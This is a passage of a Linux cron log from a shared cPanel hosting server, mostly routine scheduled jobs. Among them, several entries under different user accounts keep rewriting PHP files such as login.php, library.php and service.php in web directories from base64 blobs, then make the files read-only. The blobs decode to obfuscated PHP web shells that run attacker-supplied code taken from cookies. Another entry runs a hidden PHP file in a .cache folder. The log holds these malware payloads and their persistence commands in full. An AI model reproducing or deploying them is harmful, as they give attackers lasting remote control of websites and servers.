XI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:35:01 medusa CROND[4054]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:35:01 medusa CROND[4059]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 03:35:01 medusa CROND[4061]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Mar  2 03:35:01 medusa CROND[4064]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:35:01 medusa CROND[4068]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 03:35:01 medusa CROND[4069]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 03:35:01 medusa CROND[4071]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:36:01 medusa CROND[22674]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:36:01 medusa CROND[22901]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 03:36:01 medusa CROND[22902]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:36:01 medusa CROND[22903]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 03:36:01 medusa CROND[22905]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:36:01 medusa CROND[22908]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:36:01 medusa CROND[22910]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:36:01 medusa CROND[22917]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:36:01 medusa CROND[22918]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 03:36:01 medusa CROND[22920]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:36:01 medusa CROND[22919]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:36:01 medusa CROND[22924]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:36:01 medusa CROND[22932]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:36:01 medusa CROND[22933]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 03:37:01 medusa CROND[9010]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 03:37:01 medusa CROND[9026]: (root) CMD (/nutscripts/cleanqueue.sh > /dev/null 2>&1)
Mar  2 03:37:01 medusa CROND[9195]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:37:01 medusa CROND[9196]: (root) CMD (/usr/share/cagefs-plugins/install-cagefs-plugin.py --cronupdate)
Mar  2 03:37:01 medusa CROND[9197]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:37:01 medusa CROND[9198]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:37:01 medusa CROND[9200]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:37:01 medusa CROND[9202]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:37:01 medusa CROND[9203]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:37:01 medusa CROND[9205]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:37:01 medusa CROND[9199]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:37:01 medusa CROND[9212]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo 